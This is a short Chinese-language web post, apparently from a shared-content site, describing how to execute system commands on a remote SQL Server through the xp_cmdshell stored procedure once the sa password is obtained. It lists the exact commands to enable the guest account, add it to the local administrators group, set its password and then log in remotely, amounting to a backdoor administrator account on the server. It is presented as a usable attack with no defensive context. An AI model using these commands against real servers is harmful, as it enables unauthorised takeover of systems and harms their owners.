您的位置:首页 > 数据库

使用sql server查询器执行系统命令

2010-01-11 13:09 225 查看
前提条件:服务器开放1433端口,得到sa的口令。
在本地的sql server中注册远程的数据库,使用sa口令登陆,打开查询分析器,选择master数据库,这一点很关键,因为只有master数据库才有xp_cmdshell这个存储过程。执行以下命令
xp_cmdshell 'net user guest /active:yes'   ----激活guest账号
xp_cmdshell 'net localgroup administrators guest add' ----将guest账号加入管理员组
xp_cmdshell 'net user guest youxia'
----设置管理员的密码

如果登陆的不是master数据库,需要在存储过程前加上master..,命令变成
master..xp_cmdshell 'net user guest /active:yes'

提示命令成功,可以使用guest账号远程登陆服务器。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: